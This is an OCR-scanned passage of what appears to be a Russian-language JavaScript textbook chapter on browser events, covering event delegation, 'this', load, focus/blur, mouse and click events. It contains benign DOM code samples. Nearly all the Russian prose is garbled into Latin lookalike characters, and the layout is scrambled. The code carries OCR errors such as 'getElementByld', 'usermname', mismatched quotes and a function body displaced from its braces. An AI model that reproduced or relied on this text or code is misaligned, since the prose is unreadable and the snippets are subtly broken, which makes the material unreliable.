// B noToKe BbINONHEHIA NPOTPaNMSI HACTyNaeT Ga3a BCAbIBaHHA COBBITHIA
// Mvave

// Wicnons3yen mogens, npumensBLyloc  crapsix Bepcusx [E: onclick

// Boizbizaem dyhxupmo itemDone()

c06/event-delegation.html

c06/js/event-delegation.js

COBbITUA @



HA KAKOM 3JIEMEHTE
[MPOV30LLJTIO COBbITUNE

Ecnn npu Bbi3oBe GYHKL UM HEODXOANMO ONpeae/nTb,

Ha KAKOM MMEHHO 3/1eMeHTe NPOMU30LLIO0 CobbITUE, TO
yA00OHee BCero Nos1b30BaThCA A1 3TOF0 CBOMCTBOM target
obbekTa event. OZlHAKO TakKe NMPUMEHSETCS U APYroWn
NoAX0A, MPOUIIOCTPUPOBAHHBIN HUXKE; 3/1eCb 3aa4a pe-
LLIaeTCs Npu MOMOLLM K/l0YeBOro c/10Ba this.

KJTKOYEBOE CJ1OBO
this

KntoueBoe cnoBo this o3Ha-
YyaeT Bnagenbua GyHKUUN.
B Koae, npuBeAeHHOM
cnpasa, OHO 03Ha4aeT TOT
3/1IEMEHT, Ha KOTOPOM Mpo-
N30LWN0 cCobbITUE.

Takol mexaHusm paboTaer,
Koraa dyHKUMKM He cooblua-
l0TCs Kakme-nmbo napamet-
pbl (M, COOTBETCTBEHHO, OHa
He BbI3bIBAETCA M3 aHOHUM-
HOW dyHKLUMM).

MCMOJIb3OBAHUNE
NMAPAMETPOB

Ecnu Bbl nepesgaeTe GyHK-
L1MM napameTpbl, TO Ktoue-
BOe C/10BO this 6onblue He
paboTaeT, Tak Kak 3/IeMeHT,
K KOTOpOMY 6bI11 NpuKpen-
fleH cnywaTens cobbiTui,
yXe He ABNsSieTCa BNageb-
uem byHKUMN — HanpoTus,
3/1€Cb Mbl UMEEM AENO

C aHOHUMHON PyHKLMEN.
MOXHO Co0bLWNTL GYHKLMK
TOT 3/1EMEHT, HAa KOTOPOM
6bI/10 BbI3BAHO COObITUE,

B KayecTBe eLle 0O4HOrOo ee
napameTpa.

B oboux cnyyasx ontu-
MasibHbIN MOAX0A CBA3aH

C MCNonb3oBaHNEM 06beKTa
event.

@ COBbITUSA

function checkUsername() {
var elMsg = document.getElementById('feedback');
if (this.value.length < 5) {
elMsg.innerHTML = 'Vims canwkom kopoTkoe';
}else {
elMsg.innerHTML=";
}
}

var el = document.getElementById(‘username');
el.addEventListener('blur', checkUsername, false);

(N Y

MoxHO NpeacTaBuTb, byaTo
dyHKUMA Bblna HanncaHa
TO/IbKO 3/1€Cb, @ HE BbilLE

B KOZe.

function checkUsername(el, minLength) {
var elMsg = document.getElementById('feedback');
if (el.value.length < minLength) {
elMsg.innerHTML = "Ims canwkom kopoTkoe';
}else {
elMsg.innerHTML=";
}
}

var el = document.getElementById('username');

el.addEventListener('blur', function() {
checkUsername(el, 5);

}, false);



PA3JIMYHBIE TUTbI
COBbbITUW

B ocTaBLUENCSA YacTuU rnaBbl Mbl N3YYUM pa3/invHble TUTbI

Tex cobbITUI, Ha KOTOPble MOXET pearMpoBaTb Npo-

rpamma.

CobbITHa onpeaensoTCs:

* B cneyndukaymm W3C
DOM;

* B cneyndukaumm HTML5;

* B Hpay3epHbIX 06BEKTHbIX
MoAensx.

COBbITNA W3C
DOM

Cneundunkaumnsa cobbiTuin
DOM HaxoauTca nog yn-
paB/eHNEM KOHCOPLMYMa
W3C (koTopbii Takxe BegeT
n apyrve cneymdukaumm,

B YaCTHOCTMU, NO A3blkam
HTML, CSS 1 XML). bonb-
LIMHCTBO COBbITUI, pac-
CMOTPEHHbIX B 3TOW rNage,
oTHOCATCH K cneyndukaymm
cobbITnin DOM.

Bpay3epbl peanusytoT nito-
Oble COObITMS NPY MOMOLLM
BCe TOro Xe obbekTa event,
C KOTOPbIM Mbl yXe BCTpe-
yanuce. Elle aToT 06bekT
obecneunBaeT 0bpaTHyto
CBSA3b — Hanpumep, yKasbl-
BaeT, Ha KAKOM 3/1eMeHTe
npoun3oLno cobbiTune,
KaKyto KNaBuLLly Haxan
nosb30BaTe b, r4e B MO-
MEHT COBbITUA HaxoaunCs
yKasaTeslb MbiLUN,

O/AHaKo CyLLeCcTBYIOT 1 Takne
cobbITNA, KOTOpblE He BXOAAT
B COCTaB COBbITUNHON MO-
aenn DOM — B yacTHOCTH,
npoucxoasiyme npu pabote
c anieMeHTamu popM. PaHee
3TW COBLITMA OTHOCKUAINCH

Kk DOM, Ho Bnoc/ieACTBUM
ObININ NEpEHEeCeHbI B Creum-
dukaumio HTMLS.

BoNbWNHCTBO COBBLITUI BO3-
HWKaloT B pe3ynbTaTe pabo-
Tbl nonb3oBaTensd c HTML-
pa3MeTKOW, HO HeKoTopble
COBbITUSA NPONCXOAST 1 NPK
pearvpoBaHMN NporpamMmmbl
Ha gencTBusa 6paysepa nam
Ha apyrune cobbiTns DOM.

COBbITUA HTML5

Cneundukaumna HTML5
(Bce elle HaxoaaLWasca

Ha cTaaguu paspaboTkm)
noapobHoO onucbiBaeT Te
CcobbITUSA, KOTOPbIE AO/IXKHbI
noaaepxuneaTb bpaysepsl
AN afeKkBaTHOM paboTbl

¢ HTML. Hanpumep, Takue
cobbiTna cpabaTtbiBaoT Npu
oTnpaske GOpMbl NN N3-
MeHeHun ee anemeHTOoB (06
3TUX COBBITUAX Mbl NOAPO6-
Hee NoroBopum Ha c. 288):

submit
input
change

B cneundurkaumm HTMLS
NOSABUACA U PAS HOBbIX
cobbITUIN, KOTOpble Noaae-
PXWBAKOTCA NNLLb B CpaB-
HUTENbHO COBPEMEHHbBIX
6paysepax. BoT HekoTopble
13 Taknx cobbiTnin (0 HUX
Mbl NogpobHee NOroBopmMm
Ha c.292):

readystatechange
DOMContentLoaded
hashchange

34ecb He ByayT paccmoT-
peHbl Nto6ble MbICMMbIE CO-
ObITMSA, 0OAHAKO NpUBEaEH-
HbIX MPUMEPOB AOCTATOUYHO,
4T06bI BbI MOT/IM paboTaTb

€ cobbITUAMM N1I0BBLIX TUMOB.

COBbITNA BOM

PazpaboTunku bpaysepos
TakXe peasn3ytoT HeKo-
TOpble COBLITUA B paMKax
cBOUX Bpay3epHbIX 06BbEKT-
Hbix Mogenen (BOM). Kak
npasuno, Takue cobbITUs He
pernameHTMpOBaHbI B Cne-
umdnkaymax W3C (xoTs

B NepcrnekTMBe MOryT ObiTb
no6aBneHbl B 3TW AOKYMEH-
Tbl). HekoTopble nogobHbie
cobbITUA CBA3AHbI C UCMOSIb-
30BaHWEM YCTPOWCTB C CEH-
COpPHbIMW 3KpaHaMu:

touchstart
touchend
touchmove
orientationchange

Jpyrve cobbiTusa gobas-
naTCca B bpaysepHyto
06BbEKTHYIO MOAENb AN
pervcTpaumnmn XecToB nan
paboTbl C akCeIepOMETPOM.
Mpn ncnonb3oBaHMM TaknX
BO3MOXHOCTEW Heobxoam-
MO NPOSABASTH OCTOPOX-
HOCTb, TaK Kak cxoxas ¢pyH-
KLMOHaNbHOCTb 3a4acTyto
peanunsyeTcs B bpay3sepax
Nno-pasHoMmy.

COBbITUA @



COBbITUA
NOJSIb30OBATEJIbCKOIO
MHTEPDENCA

CobbITVS NO/Ib30BATE/IbCKOrO MHTEPdENCa BO3HUKAKOT
B pe3y/sibTaTe paboTbl Ye/I0BEKA C OKHOM bpay3epa, a He
C IOKYMEHTOM, KOTOPbIN B HEM COAEPXUTCH, — Hanpu-
Mep, NpU U3MEHEHUN pa3mMepa OkHa, rae oTobpaxaeTcs
cTpaHuua.

ObpaboTunk/cnywartens
COObITUI NOMB30BATENILCKOTO
NHTepderca AoNXKeH Npu-
KpennaTbcsa K OkHy bpaysepa.

Hanpumep, B Takom

B cTapom koAe MOXHO BCTPETUTb CUTYaL K, B KOTOPbIX 3TU CO-
ObITUA yKa3bIBAOTCA Kak aTpubyTbl OTKpbIBatOLLEro Tera <bodys>.

koae aTpunbyT onload cnonb3oBascs Ang

3anycka Koga, KOTOpbI J4O/IKeH 6bin CDa6OTaTb, Korga ctpaHuua

3arpysumTcs.
COBbITUE YC/IOBUE CPABATbIBAHUSA NOOAEPXKA EPAY3EPAMU
load CpabaTblBaeT, korga 3arpyska cTpaHuLbl 3asep- Mo npasunam DOM yposHS 2 (aeACTByOLUM

unload

resize

scroll

WwmnTCs. TakKe MOXeT cpabaTbiBaTh Ha y3n1ax
[IPYrUX 3/IEMEHTOB, KOTOPbIE 3arpyXaKTca
OTAENbHO — Hanpumep, N306paxeHuit, cLeHa-
pUeB MM 06beKTOB

c Hos6ps 2000 roga) 3To cobbiTve cpabaTbiBa-

eT Ha 06bekTe document, HO paHee OHO AONXHO
6bI10 NPOMCX0ANTDL Ha 06bekTe window. bpay3sepbi
noAAepXnBaoT oba BapunaHTa 419 obecneyeHuns
06paTHOM COBMECTUMOCTH, 1 pa3paboTynkm 3a-
YacTyo No-NpexXHeMy NpukpennaT 06paboTymkm
cobbiTus load k 06bekTy window (a He kK document)

CpabatbiBaet npu Bbirpy3ke Beb-CTpaHuLbl

13 6pay3epa (06bI4HO 3TO NPONCXOANT, KOraa
3anpalmeaetca Apyras seb-crtpanuua). Cm.
Takxe cobbiTne beforeunload (c. 292), cpabaTbi-
BaloLLiee nepes Tem, Kak nosb30BaTe b NOKUHET
cTpaHuuy

Mo npasunam DOM ypoBHSs 2 3T0 CObbITUE JONXKHO
cpabaTbiBaTb Ha y3/1e 3nemeHTa body, HO B cpas-
HUTE/IbHO CTapblx bpay3epax OHO NMPOUCXOAUNO

Ha obbekTe window. Takoi MeXaH13M A0 CUX Mop
noAAepxueaeTcs Ans obecneyeHns obpaTHoi
COBMECTUMOCTH

CpabaTbiBaeT, korga bpaysep BcTpedaeT owmb-
Ky JavaScript, nimbo ecnv pecypc He cyulecTsyeT

MoAAepxka 3Toro cobbiT!A B pasHbix Hpaysepax
OT/INYAETCA HECOTNIACOBAHHOCTbIO, MOTOMY Ha
HEro He cneayeT nosaratbca npu 0bpaboTke
ownbok (06 3TOM Mbl NoAPO6HEE MOrOBOPUM

g rnase 10)

CpabaTbiBaeT npu U3MEHeHUM pasmepa okHa
6pay3epa

B npouecce usmeHeHns paamepa cTpaHuubl
6pay3ep 3anyckaeT HEMpPepbIBHYIO CEPYI0 COOBITUN
resize. CTapaiTeCb He MCMNO/b30BaTb 3TO COObITHE
NS UHALMWPOBAHUS Kakoro-1mbo CNOXHOTo Koaa,
MOCKO/IbKY B TakOM C/1yyYae No/b30BaTe/Il0 MOXET
nokasaTbCs, YTO CTPaHNLLA KNOABUCAET»

CpabaTbiBaeT, Korga nosib30Bate b NPOKPYTU
CTpaHuLy 40 camoro Husa. CobbiThe MOXET OT-
HOCUTbCA KO BCEW CTpaHMLEe MBO K OTAE/bHbIM
ee anemeHTam (Hanpumep, textarea, vt y Hero
€CTb M0JI0ChI TPOKPYTKM)

COBbITUA

B npouiecce nameHeHus pasmepa cTpaHuLbl bpa-
y3ep 3amycKaeT HenpepbIBHYIO CEpUio COBLITHNA.
CrapaiTech He UCMO/Ib30BATb 3TO COObITHE AN1A
VHULMMPOBAHWS KaKOro-1nbo CNOXHOro Koza



CobbiTure load 3a4acTyio 1Mc-
nonb3yeTca A4Nd 3anycka
cueHapueB, obpalyatoLmxcs
K KOHTEHTY CTpaHuubl. B cne-
ayowem npumepe GyHkuma
setup() nomeLlaeT B pokyc
nosne An8 TEKCTOBOro BBOAA,
KaK TONbKO CTpaHuLa 3arpy-
3UTCS.

JAVASCRIPT

function setup() {
var textInput;
textInput = document.getElementByld('username’);
textInput.focus();

}

window.addEventListener(‘load", setup, false);

PE3YJIbTAT

COBbITHE LOAD

3T0 cobbITME aBTOMATUYECKMN
MHULMMPYETCS 06 BbeKTOM
window, Korga Ha cTpaHuue
3aBepLUNTCS 3arpy3ka Bcen
pa3meTkn HTML n BCcex pecyp-
COB: n30bpaxeHuin, Tabnuuy
cTunen, cueHapves (M gaxe
CTOPOHHEro KOHTEHTa, Hanpu-
mep, baHHEePHOM pekambl).

// 0bbsBnseM dyHKLMIO

// Co3paem nepemenHyto

// Nonyyaen ums, BBEAEHHOE NOb30BATENEM
// Nomewgaem uma nob3osatens & Gokyc

DyHKUMA setup() He cmoxeT
BbIMO/IHNTLCS, MOKa CTpaHuLa
He 3arpy3uTcs, Tak Kak Ans
cpabaTbiBaHWs 3TON PyHKLMMN
HEOOXOANMO HANTU SNEMEHT
C MAeHTUdNKaTOPOM username
1 MOMECTUTb ero B GpOKYC.

c06/js/load.js

// Korna cTpanmua 3arpy3uTcs, Bbi3biBaen dyHKUMIO Setup()

HOBblIA AKKAYHT

Mockonbky cobbiTue load cpa-
baTbiBaeT NNLLb NOC/IE TOrO,
Kak 3arpy3nTcs BeCb KOHTEHT
Ha cTpaHuue (n30bpaxeHus,
cueHapum n gaxe baHHepHas
pekiama), nosb3oBaTtesib
HaymHaeT paboTaTb CO CTpa-
HULEW eLye 4o Toro, Kak 3anyc-
TUTCS CUEHAPUN.

O6bI4HO BbIBAET 3aMETHO,
Korga cueHapun moanduumn-
pyeT BHELLHWI BUA CTPaHULbl,
MeHsaeT dokyc 1mbo Bbibupa-
eT 3/IeMeHTbl OpMbl MoC/ie
TOro, KaK Nnosib30BaTe/ib yXe
npucTynua kK paboTe co cTpa-
HULEeRn. B Takmx caydasx Mo-
KET Ka3aTbCH, YTO AOKYMEHT
«NOABMUCAET» MPU 3arpyske.

ObpaTnTe BHUMaHMeE: Cay-
waTesib CObbITUM NpUKpen-
nsetca k 06bekTy window (a
He K 06bekTy document, Tak
Kak B Noc/ieAHEM Cayyae
MOTYT BO3HWKHYTb Mpo6ieMbl
c KpocchbpaysepHo coBmec-
TUMOCTbIO).

Ecnn anemeHT script pacno-
NOXeH B KoHue HTML-cTpa-
HuUbl, To DOM notpebyeTcs
3arpy3nTb BCE 3/1IEMEHTbI
dopm ¥ LB NOCIE 3TOrO
BbIMOJIHUTb CLLEHAapUN, Npuyem
A0XMAaTbCa cobbiTuA load He
npunaeTcs. Tak>ke CM. MaTepu-
an o cobbiTm DOMContentLoaded
Ha €. 292 n o meToae document.
ready() n3 6ubnnoTekun jQuery
Ha c. 318.

JonycTum, B dopme o4eHb
MHOro nonen seoaa. Koraa
cpaboTaeT cueHapui, moce-
TUTENb CanTa, BOSMOXHO,
y>e byfeT 3anoHSATb BTOpoe
nnn Tpetbe none. CueHapun
e BHOBb nepeBegeT Ppokyc
Ha nepBoe nosie GopMbl, TEM
caMbIM MpepBaB paboTy NoJib-

30BaTens.
COBbITUA .



COBbITNA FOCUS N BLUR

Te HTML-3/1eMeHTbl, C KOTOPbIMW MOJ/Ib30BaTE/Ib CMNOCO-
O6eH B3anMOAeNCcTBOBAaTb, — HanMpuMep, CCbISIKU 1 3/1e-
MeHTbl $opM — MoryT nonagatb B dpokyc. CobbiTna focus
1 blur nponcxoaaT, Korga a/ieMeHT COOTBETCTBEHHO OKa-
3biBaeTcs B GOKYCe N BbIXOAUT U3 HETO.

Ecnun Bbl MOXeTe B3anmogencteoBaTb ¢ HTML-
3/1eMEHTOM, 3TO 03HA4aeT, YTo OH crnocobeH
nonyvatb (1 TepaTb) dokyc. Kpome Toro,
MOXHO NepekYaThbCa MeXAy 31eMeHTamu,
cnocobHbIMM MonagaTb B pokyc (3Ta TexHUKa
3a4acTyto UCrnonb3yeTcsa cnaboBuAALLMMM
nosb30BaTeENSAMM).

B cpaBHWTeNbHO CTapbIX CLeHapusx cobbITUs
focus v blur akTUBHO NMPUMEHSANNCH A4NA U3MEHE-
HUS BHELUHEero Bu/Aa a/lemMeHTa, nonajasLlero
B pokyc. OaHaKo B HacTosiLLiee BpemMs 3Ty 3a-
Aayvy Nydlle pelaTb NpU NOMOLLM NCceBAOKaC-
ca CSS :focus (ecnv ToNbKO Bam He TpebyeTcs
N3MEHWUTb BHELUHWI BU 4PYroro aNemeHTa,

a He TOro, KOTOopbI nonan B GpoKyc).

CobbiTra focus v blur Yallle BCEro UCNosb3yoTcs
npu pabote c dopmamu. OHM GbIBaKOT 0COOEH-
HO MNONEe3Hbl B CNeAYIOLWNX CayYasnx:

* TpebyeTcqa BbIBECTU NOACKA3KY 418
nosib3oBaTesisi AMOO oTpearnpoBaTb Ha ero
AencTBUA, Koraa oH paboTaeT c 0TAe/IbHbIM
snemeHTOM B popme (06bIYHO NOACKA3KM
BbIBOAATCA Ha APYTUX S/1IEMEHTAX, @ HE Ha
TOM, C KOTOPbIM Cenyac B3aumoaencTeyeT
nonb30BaTENb);

* TpebyeTcsa 3anycTUTb Baanaaumio Gopmbl,
KOrfa nosib3oBaTe b MePexXoAnT OT OA4HOTO
3/1eMEHTa ynpasaeHus K Apyromy (Bbl He
l0XMaeTech, NOKa OH OTNpasunT Gopmy,
3aMoIHEHHYIO LLEIMKOM, YTOBbI MPUCTYMUTb
K Banmgaumm).

COBbITUE CPABATbIBAET B CJIYYAE OTAM NOTOKA
COBbITUN
focus Korga anemeHT nony4yaet ¢dokyc, Ha aTom y3ne DOM cpabaTbiBaeT 3axsaT
cobbiTue focus

BcnnabiBaHne
v 3axBaT

focusout

COBbITUA

AHanornyHo blur (CM. BbiLLe; HA MOMEHT HAaMUCaHWUS KHUTU He
noaaepxunsanoco B 6paysepe Firefox)

BcnnabiBaHne
v 3axBaT



COBbITNA FOCUS N BLUR
HA TTPAKTUKE

B faHHOM npumepe none Ans
TEKCTOBOro BBOAA Mo/yyaeT

n TepsaeT dokyc. Mpv aTom noa
nosiem B afieMeHTe div oTobpa-
>aeTcs coobLeHVe-0TKIK.
OHo cocTaBaAeTCa NpU NOMO-
WM ABYX PYHKLUMA,

DyHKUnSA tipUsername() cpa-
baTbIBaeT, koraa nose 41
TEKCTOBOrO BBOAA NMoslyyaeT
dokyc. OHa n3meHseT aTpubyT
class 1 0BHOBNSET KOHTEHT TOrO
3/1EMEHTA, B KOTOPOM HaxoAmnT-
cs coobuieHme.

®DyHkuwms checkUsername() cpa-
6aTbiBaeT, Korga nosie Ans Tek-
CTOBOrO BBOAA TePSAET POKyC.
OHa gobaenget coobLieHne

1 MeHSEeT 3HayeHve aTpubyTa
class, eciv B MMeHM Nosib30Ba-
Tens COAEPXKNTCA MeHee 5 cum-

JAVASCRIPT

function checkUsername() {
var usermname = el.value;
if (username.length < 5) {
elMsg.className = 'warning';
elMsg.textContent ="M CAMWKOM KOPOTKOE...;
}else {
elMsg.textContent ="
}
}

function tipUsername() {
elMsg.className = 'tip';

elMsg.innerHTML = "Mns nonb30BaTens LONKHO COAEPKATH He MEHee 5 CUMBONOB';

}

var el = document.getElementByld('username');
var elMsg = document.getElementByld(‘feedback’);

el.addEventListener(‘focus', tipUsername, false);
el.addEventListener('blur’, checkUsername, false);

| RESULT |

BOJIOB,; B MPOTUBHOM C/ly4yae
OHa CTupaet C006LLleHVIe.

c06/js/focus-blur.js

// O6uAsnsien hyHkuiio

// Coxpaxsiem us nonb308aTens 8 nepeMenHoil

/] ECnu B MmeHm nonb30BaTens Mekblue 5 Cumonos
// Mamensem arpuyr class y 3toro coobuienns

// Crupaem coobuetme

/[ MHave

// 06HoBAseM cooblenne

// O6uasnsien hyHkuiio
/] Mensiem y coobienns arpuyr class
// Lobasnsen coobuenvie

// Nlony4aeM BBefeHHOE UM NONb30BaTENS

//3neneHr, B koTopoM ByjeT CoAepKaTbCA coobLieHme

// Korna none 1A 8B0ga UMEHM NONb30BATENA MOAYYAET/TEPAET BOKYC,
/| BHI3bIBaEM OHY 13 (DYHKLHIE, 3AMHCAHHbIX BbILIE:

// Cobsimue focus sbi3biaet dyHKuwio tipUsername()

// Cobsitie blur sizsizaer dyumio checkUsername)

HOBblIMA AKKAYHT

Jloruu:

§ MMa CAMIIKOM KOPOTKOE...

COBbITUA



COBbITUA MbILUW

CobbITMS MblLLN CpabaTbiBaOT NpU NepemMeLLeHnn yKkasa-

TENA U MNMPpKN Ha>XXaT KnaBULL MbILLN.

Bce anemMeHTbl Ha CTpaHuLe NoAAepP>XNBAOT

Mpuv nogasneHnn NoBeAEeHNIN, 3aZaHHbIX MO

COBbBITUS MBILLN, Y BCE 3TN COBLITUS BCMJIbl-
BatoT. ObpaTUTe BHUMAHUE: HA yCTpOMCTBaX
C CEHCOPHbIMU 3KpaHamun Habop AencTBUI

YMOJTHAHWUIO, MOXHO MONYYUTb HEOXKMAAHHbIE
pesynbTaTtbl. Hanpumep, cobbiThe click npowc-
XOAUT NNLLb B C/yYae, ecan cpaboTanm cobbi-

HEeCKOJIbKO MHOMW.

TS mousedown 1 mouseup.

COBbITUE YCJNIOBUE CPABATbIBAHUA CEHCOPHbIE 3KPAHDI
click CpabaTbiBaeT, Korga nosb3oBaTe b HaXXMMaeT rnaB- KacaHue akpaHa MHTepnpe-
HY0 KHOMKY MbiLmn (€C/IX Ha Mbiwn 6oee oagHOM TUpyeTCcsa Kak O4UHOYHbIN
KHOMKW, TO rNaBHOM 06bIuHO ABAseTca fiesasd). Cobbi- LLIENYOK IEBOMN KHOMKOMN
Tue click cpaboTaeT Ha TOM 3/1IEMEHTE, TA4e B AaHHbIA  MbILN
MOMEHT PacnofioXeH yKkasaTeb Mbilwn. Kpome Toro,
OHO cpaboTaeT, eC/in No/ib30BaTe b HAaXMET Ha Kna-
BMaType KnaBully Enter, Korga aleMeHT Haxo4mnTcs
B dokyce
dblclick CpabaTbiBaeT, Korga no/ib3oBaTe/lb HaXXMMaeT Ha JlBolHOE KacaHue aKkpaHa
rNaBHYI KHOMKY MblLLIK iBa pa3a noApsaj VHTepnpeTupyeTcs Kak
ABOMHOM LLIENYOK MbILLIN
mousedown CpabaTbiBaeT, Korga nosb3oBaTe b HaXUMaeT fto- MOXHO MCNoNb30BaTb COHbI-
Byto KHOMKY MbilK (He MOXEeT 3anyckaTbCsi C KJ1laBu-  Tue touchstart
aTypbl)
mouseup CpabaTbiBaeT, Korga no/sb3oBaTe b OTNYCKaeT KHOM- MOXHO MCNOMb30BaTb CObbI-

mouseover

Ky Mbiln (He paboTaeT ¢ KnaBnaTypbl)

CpabaTbiBaeT B c/iyyae, Korga ykasartesib Mbillun
CHauasia HaxoAu/Ccs 3a npeAesiaMu 3/1eMeHTa, a 3a-
TEM nepemecTumacs Ha Hero (He MOXET 3anyckaTbcs
C K/naBMaTypbl)

Cpa6aTb|BaeT B CNy4dae, KOrga ykasaTte/ib MbllIn

crnepBa HaXxoAWMNCA Ha 3/1IEMEHTE, a 3aTeM Nnepemec-
TWUNCA 3a ero npegenbdl n3a npegenbl ero Jo4epHMxX
371eMeHTOB (He MoXeT 3anyckaTtbCa C KJ'IaBI/IaTypr)

Tue touchend

CpabaTbiBaeT npu HaBege-
HUM KypCopa Ha 3/IeMEeHT

CpabaTbiBaeT B c/lyyae,
KOrZja Kypcop BbIXOAUT 3a
npeaesnbl 3ieMeHTa

mousemove

CpabaTbiBaeT, Korga ykasaTte/b MblLLW ABUXeTCS

B npeaenax anemeHTa. CpabaTbiBaeT CEpUNHO, Moka
Takoe ABMXeHMe npogonxkaeTcs (He MOXeT 3anyc-
KaTbCs C K/1laBmaTypbl)

CpabaTbiBaeT, Korga ABuXeT-
csa Kypcop

KOIOA MCIMOJIb3OBATb CSS? MOYEMY MOUSEDOWN M MOUSEUP —

CobbITVA mouseover 1 mouseout 4acTO UCMOb-
3YKTCA AN UISMEHEHNA BHELLHEro snAaa nonen

2TO OBA OTAOEJIbHbIX COBbITUA?

CobbITVA mousedown 1 mouseup OTAESIbHO OMUCHI-

nmbo ana nepekntoyeHna n3obpaxeHuin B Mo-
MEHT NMPOXOXAEHMS MO HUM yKasaTesst MblLLW.
B Takux cnyyasx 6onee npeanoyTUTENbHO
MCNO/Mb30BaTb CNeLunanbHbii ncesgoknacc CSS
-hover.

BAOT aKTbl HAXaTWs U OTMYCKAHMSA KHOMKU MbILLIN.
OB6bIYHO OHU MPUMEHSAIOTCA NPU peanmsaumm

dyHKUMM NnepeTackmBaHus, nmbo (Npu paspaboT-
Ke nrp) Ans Aob6aBNeHNs 3N1eMEHTOB YNpaBieHUs.

COBbITUA




Llenb npvBeAeHHOro 34eCh
npvmMmepa — BOCMNO/1b30BaATHCSH
cobbiTnem click gns yaane-
HUS 6oNbLLOro 06bABNEHNS,
pacnosioXeHHOro B CeEpeAnHe
cTpaHuubl. OgHako cHayana
cLeHapui foIKEH co34aTb
370 0ObsIB/IEHME.

JAVASCRIPT

COBbITHE CLICK

Mockonbky 06baBNAEHME pac-
nosiaraeTcs MoBepx CTPaHuLbI,
Mbl COBpaeMcs NokasbiBaTb
€ro To/IbKO TEM MoJib30BaTe-
nsm, B bpaysepe y KOTOpPbIX
BK/toYeH JavaScript (B npoTuB-
HOM c/iyyae ybpaTb 370 06b-
ABJIEHME CO CTpaHuLbl bygeT
HEBO3MOXHO).

// Co3panue HTML-pasmeTku s coobueHus

var msg = '<div class=\"header\"><a id=\"close\" href="§">3akpbiTb X</a></div>';

msg += '<div><h2>TexHuyeckoe o0cnyxmBanme</h2>';

msg += ' 12 0 13 Yacos Ha cepsepe NPOU3BOJUTCA TEXHHIECKOE 06CTyHMBaHMe. "
msg += 'Bo BpemA 00CNYKMBaHHS MOTYT NPOUCXOAUTS HE3HaYUTEAbHbIE COOM B paboTe caifta.</div>';

var elNote = document.createElement('div');
elNote.setAttribute('id', 'note');
elNote.innerHTML = msg;
document.body.appendChild(elNote);

function dismissNote() {

}

document.body.removeChild(elNote);

var elClose = document.getElementById('close");

elClose.addEventListener('click’, dismissNote, false);

PE3YJZIbTAT

TEXHWMY

// Co3paem HoBbIii anemeHT

// [obasnsem upeHTUdUKATOP 0OBABAEHUS
// Dobasnsem coobuieme

// 3anuceiBagn ero Ha cTpaxuLly

// Q6vagnsiem GyHkumio

// Ynansem o6basnenve

// Monyyaem kHOMKY NS 3aKPLITUA 0ObSBAEHUS
// Haxumaem 31y KHonky u 3aKpbisaem 00bABAEHMUE

3aKpbITh X

ECKOE

OBCNIYXMNBAHMWE

Koraa cobbitue click cpaba-
TbIBA€T Ha CCbI/IKE 3aKpPbl-
TWS, Bbi3biBaeTca GyHKUNS
dismissNote(). OHa ynanseTt
0b6bABNEHME, A0HaBNEHHOE
B pamKax TOro Xxe cueHapus.

c06/js/click.js

OOCTYINHOCTb

CobbiTue click MoxeT npume-
HATbLCSA Ha 1TOOOM 3/1EMEHTE,
HO /lyYLLe UCMO/Ib30BaTb €ro
NN C TEMU 3IEMEHTAMM,
Mo KOTOPbIM AENCTBUTENIbHO
4acTo NPUXOAMUTCA LLieKaTb
MbILIBIO Y C KOTOPbIMU B MPO-
TUBHOM CJly4ae 6b1/10 Hbl
0YeHb CNOXHO obpalaTbcs
6e3 yMeHMs OCyLLecTBAATb
HaBUraumio C KJaBuaTypbl.

Bo3MoXHO, Bam 3axoyeTcs
1ncnosib3oBaTbh cobbiTHe click
ANA 3anycka cLueHapus B TOT
MOMEHT, Korga nonb3osaTeslb
LeIKaeT MbILLbIO MO OAHOMY U3
nonen dopmbl. OAHAKO B TaKMX
cayyasx nyylle npyuMeHaTb
cobbiTure focus, MOCKObKY OHO
cpaboTaerT, faxe ecav Mob30-
BaTeNb NepengeT K AaHHOMY
3/1EMEHTY yrpaB/ieHus npu
NMOMOLLM KNaBULLN Tabynaumm.

COBbITUA .



OBJIACTb BbllNOJIHEHNHA
COBbITNI

O6BbeKT event NO3BONAET Y3HATb, FAE HAXO4WU/ICA yYKa3a-

Tesib MbILLN, KOrga cpaboTtano cobbiTue.

)
X)

Vv

3KPAH

CsowncTBa screenX v screenY
yKasblBaloT KOOPAMHATbI
yKasaTesisi MbILLUWN OTHO-
CUTENbHO 3KpaHa Ballero
KoMnbloTepa, Npuyem Hava-
/10 KOOPAUHAT HaxoAu